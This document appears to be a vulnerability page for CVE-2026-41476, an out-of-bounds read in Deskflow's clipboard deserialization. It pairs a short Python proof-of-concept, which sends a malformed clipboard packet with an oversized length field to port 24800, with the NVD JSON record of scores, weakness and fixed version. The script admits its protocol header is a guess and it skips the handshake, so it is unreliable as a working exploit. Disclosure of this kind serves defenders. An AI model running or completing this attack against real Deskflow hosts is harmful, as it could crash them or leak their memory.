CVE-2026-41476

import socket import struct # Conceptual PoC for CVE-2026-41476 # This script simulates sending a malformed clipboard chunk to trigger the OOB read. TARGET_IP = "192.168.1.100" TARGET_PORT = 24800 # Default Deskflow port def create_malformed_clipboard_packet(): # The vulnerability occurs because ClipboardChunk::assemble() checks the outer size # but not the internal structure before passing to IClipboard::unmarshall(). # We construct a packet that claims a valid outer size but contains a malformed inner length. # Note: Actual protocol structure would require reversing Deskflow's wire format. # This demonstrates the logic of sending a payload that bypasses outer validation. header = b"DeskFlow" # Protocol identifier example # Malformed data: A size field that indicates a larger buffer than actually valid # or a structure that breaks the assumptions of unmarshall(). malformed_inner_length = struct.pack(">I", 0xFFFFFFFF) payload = header + malformed_inner_length + b"A" * 100 return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # In a real scenario, a handshake sequence would be required first. # s.send(handshake_payload) print("[*] Sending malformed clipboard chunk...") exploit_packet = create_malformed_clipboard_packet() s.send(exploit_packet) print("[+] Payload sent. Check target for crash or information leak.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-41476", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:28.207", "lastModified": "2026-04-28T15:47:41.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deskflow is a keyboard and mouse sharing app. Prior to 1.26.0.138, a remote memory-safety vulnerability in Deskflow's clipboard deserialization allows a connected peer to trigger an out-of-bounds read by sending a malformed clipboard update. The issue is in the implementation of src/lib/deskflow/IClipboard.cpp. This is reachable because ClipboardChunk::assemble() in src/lib/deskflow/ClipboardChunk.cpp validates only the outer clipboard transfer size. It does not validate the internal structure of the serialized clipboard blob, so malformed inner lengths reach IClipboard::unmarshall() unchanged. This vulnerability is fixed in 1.26.0.138."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deskflow:deskflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.26.0.138", "matchCriteriaId": "A3A29737-D28B-4C7B-A363-E91E6D819E8C"}]}]}], "references": [{"url": "https://github.com/deskflow/deskflow/security/advisories/GHSA-3jp5-g964-cgmh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/deskflow/deskflow/security/advisories/GHSA-3jp5-g964-cgmh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}